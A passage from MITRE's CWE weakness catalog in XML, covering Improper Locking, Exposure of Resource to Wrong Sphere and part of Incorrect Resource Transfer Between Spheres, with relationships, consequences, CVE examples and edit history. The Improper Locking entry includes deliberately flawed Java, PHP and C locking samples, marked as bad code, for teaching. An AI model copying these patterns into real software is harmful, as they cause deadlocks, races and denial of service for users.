					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="667" Name="Improper Locking" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly acquire a lock on a resource, or
					it does not properly release a lock on a resource, leading to unexpected
					resource state changes and behaviors.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>662</Relationship_Target_ID>
					          <!--Improper Synchronization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>852</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>853</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 08 - Locking (LCK)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Inconsistent locking discipline can lead to deadlock.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use industry standard APIs to implement locking mechanism.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java snippet, methods are defined to get and set a
						long field in an instance of a class that is shared across multiple threads.
						Because operations on double and long are nonatomic in Java, concurrent
						access may cause unexpected behavior. Thus, all operations on long and
						double fields should be synchronized.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private long someLongValue;</Code>
							              <Code>public long getLongValue() {</Code>
							              <Block>
								                <Code>return someLongValue;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public void setLongValue(long l) {</Code>
							              <Block>
								                <Code>someLongValue = l;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-69">
					          <Intro_Text> This code tries to obtain a lock for a file, then writes to it. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function writeToLog($message){</Code>
							              <Block>
								                <Code>$logfile = fopen("logFile.log", "a");</Code>
								                <Comment>//attempt to get logfile lock</Comment>
								                <Code>if (flock($logfile, LOCK_EX)) {</Code>
								                <Block>
									                  <Code>fwrite($logfile,$message);</Code>
									                  <Comment>// unlock logfile</Comment>
									                  <Code>flock($logfile, LOCK_UN);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>print "Could not obtain lock on logFile.log, message not
										recorded\n";</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>fclose($logFile);</Code>
						            </Block>
						            <Text> PHP by default will wait indefinitely until a file lock is released.
							If an attacker is able to obtain the file lock, this code will pause
							execution, possibly leading to denial of service for other users. Note
							that in this case, if an attacker can perform an flock() on the file,
							they may already have privileges to destroy the log file. However, this
							still impacts the execution of other programs that depend on
							flock().</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-24">
					          <Intro_Text>The following function attempts to acquire a lock in order to
						perform operations on a shared resource.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void f(pthread_mutex_t *mutex) {</Code>
							              <Block>
								                <Code>pthread_mutex_lock(mutex);</Code>
								                <Code/>
								                <Comment>/* access shared resource */</Comment>
								                <Code/>
								                <Code>pthread_mutex_unlock(mutex);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the code does not check the value returned by
							pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire
							the mutex for any reason the function may introduce a race condition
							into the program and result in undefined behavior.</Text>
						            <Text>In order to avoid data races correctly written programs must check the
							result of thread synchronization functions and appropriately handle all
							errors, either by attempting to recover from them or reporting it to
							higher levels.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>int f(pthread_mutex_t *mutex) {</Code>
							              <Block>
								                <Code>int result;</Code>
								                <Code/>
								                <Code>result = pthread_mutex_lock(mutex);</Code>
								                <Code>if (0 != result)</Code>
								                <Block>
									                  <Code>return result;</Code>
								                </Block>
								                <Code/>
								                <Comment>/* access shared resource */</Comment>
								                <Code/>
								                <Code>return pthread_mutex_unlock(mutex);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-70">
					          <Intro_Text>It may seem that the following bit of code achieves thread safety
						while avoiding unnecessary synchronization...</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>if (helper == null) {</Code>
							              <Block>
								                <Code>synchronized (this) {</Code>
								                <Block>
									                  <Code>if (helper == null) {</Code>
									                  <Block>
										                    <Code>helper = new Helper();</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>return helper;</Code>
						            </Block>
						            <Text>The programmer wants to guarantee that only one Helper() object is
							ever allocated, but does not want to pay the cost of synchronization
							every time this code is called.</Text>
						            <Text>Suppose that helper is not initialized. Then, thread A sees that
							helper==null and enters the synchronized block and begins to
							execute:</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>helper = new Helper();</Code>
						            </Block>
						            <Text>If a second thread, thread B, takes over in the middle of this call
							and helper has not finished running the constructor, then thread B may
							make calls on helper while its fields hold incorrect values.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0935</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker provides invalid address to a
						memory-reading function, causing a mutex to be unlocked
						twice</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-4210</Observed_Example_Reference>
					          <Observed_Example_Description>function in OS kernel unlocks a mutex that was not
						previously locked, causing a panic or overwrite of arbitrary
						memory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4302</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: OS kernel does not properly handle a
						failure of a function call (CWE-755), leading to an unlock of a resource
						that was not locked (CWE-832), with resultant
						crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1243</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel performs an unlock in some incorrect
						circumstances, leading to panic.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2857</Observed_Example_Reference>
					          <Observed_Example_Description>OS deadlock</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1961</Observed_Example_Reference>
					          <Observed_Example_Description>OS deadlock involving 3 separate
						functions</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2699</Observed_Example_Reference>
					          <Observed_Example_Description>deadlock in library</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4272</Observed_Example_Reference>
					          <Observed_Example_Description>deadlock triggered by packets that force
						collisions in a routing table</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1850</Observed_Example_Reference>
					          <Observed_Example_Description>read/write deadlock between web server and
						script</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0174</Observed_Example_Reference>
					          <Observed_Example_Description>web server deadlock involving multiple listening
						connections </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1388</Observed_Example_Reference>
					          <Observed_Example_Description>multiple simultaneous calls to the same function
						trigger deadlock.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-5158</Observed_Example_Reference>
					          <Observed_Example_Description>chain: other weakness leads to NULL pointer
						dereference (CWE-476) or deadlock (CWE-833).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4342</Observed_Example_Reference>
					          <Observed_Example_Description>deadlock when an operation is performed on a
						resource while it is being removed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2374</Observed_Example_Reference>
					          <Observed_Example_Description>Deadlock in device driver triggered by using file
						handle of a related device.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2275</Observed_Example_Reference>
					          <Observed_Example_Description>Deadlock when large number of small messages
						cannot be processed quickly enough.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3847</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel has deadlock triggered by a signal
						during a core dump.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3106</Observed_Example_Reference>
					          <Observed_Example_Description>Race condition leads to
						deadlock.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2456</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: array index error (CWE-129) leads to
						deadlock (CWE-833)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0682</Observed_Example_Reference>
					          <Observed_Example_Description>Program can not execute when attacker obtains a
						mutex.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1914</Observed_Example_Reference>
					          <Observed_Example_Description>Program can not execute when attacker obtains a
						lock on a critical output file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1915</Observed_Example_Reference>
					          <Observed_Example_Description>Program can not execute when attacker obtains a
						lock on a critical output file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0051</Observed_Example_Reference>
					          <Observed_Example_Description>Critical file can be opened with exclusive read
						access by user, preventing application of security policy. Possibly related
						to improper permissions, large-window race condition.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0338</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: predictable file names used for locking,
						allowing attacker to create the lock beforehand. Resultant from permissions
						and randomness.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1198</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Lock files with predictable names.
						Resultant from randomness.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1869</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not check if it can write to a log
						file, allowing attackers to avoid logging by accessing the file using an
						exclusive lock. Overlaps unchecked error condition. This is not quite
						CWE-412, but close.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not unlock or destroy another thread's
						mutex</Mapped_Node_Name>
					          <Mapped_Node_ID>POS31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure visibility when accessing shared primitive
						variables</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure that compound operations on shared variables are
						atomic</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure atomicity when reading and writing 64-bit
						values</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use an instance lock to protect shared static
						data</Mapped_Node_Name>
					          <Mapped_Node_ID>LCK06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>27</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Insufficient
						Locking</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="668" Name="Exposure of Resource to Wrong Sphere" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product exposes a resource to the wrong control sphere,
					providing unintended actors with inappropriate access to the
					resource.</Description_Summary>
				        <Extended_Description>
					          <Text>Resources such as files and directories may be inadvertently exposed
						through mechanisms such as insecure permissions, or when a program
						accidentally operates on the wrong object. For example, a program may intend
						that private files can only be provided to a specific user. This effectively
						defines a control sphere that is intended to prevent attackers from
						accessing these private files. If the file permissions are insecure, then
						parties other than the user will be able to access those files.</Text>
					          <Text>A separate control sphere might effectively require that the user can only
						access the private files, but not any other files on the system. If the
						program does not ensure that the user is only requesting private files, then
						the user might be able to access other files on the system.</Text>
					          <Text>In either case, the end result is that a resource has been exposed to the
						wrong party.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>A "control sphere" is a set of resources and behaviors that are accessible
						to a single actor, or a group of actors. A product's security model will
						typically define multiple spheres, possibly implicitly. For example, a
						server might define one sphere for "administrators" who can create new user
						accounts with subdirectories under /home/server/, and a second sphere might
						cover the set of users who can create or delete files within their own
						subdirectories. A third sphere might be "users who are authenticated to the
						operating system on which the product is installed." Each sphere has
						different sets of actors and allowable behaviors.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Relevant_Properties>
				        <Relevant_Property>Accessibility</Relevant_Property>
			      </Relevant_Properties>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-22</Modification_Date>
					          <Modification_Comment>Clarified description to include
						permissions.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="669" Name="Incorrect Resource Transfer Between Spheres" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not properly transfer a resource/behavior to
					another sphere, or improperly imports a resource/behavior from another sphere,
					in a manner that provides unintended control over that
					resource.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Background_Details>
				        <Background_Detail>
					          <Text>A "control sphere" is a set of resources and behaviors that are accessible
						to a single actor, or a group of actors. A product's security model will
						typically define multiple spheres, possibly implicitly. For example, a
						server might define one sphere for "administrators" who can create new user
						accounts with subdirectories under /home/server/, and a second sphere might
						cover the set of users who can create or delete files within their own
						subdirectories. A third sphere might be "users who are authenticated to the
						operating system on which the product is installed." Each sphere has
						different sets of actors and allowable behaviors.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Relevant_Properties>
				        <Relevant_Property>Accessibility</Relevant_Property>
			      </Relevant_Properties>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Background_Details,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
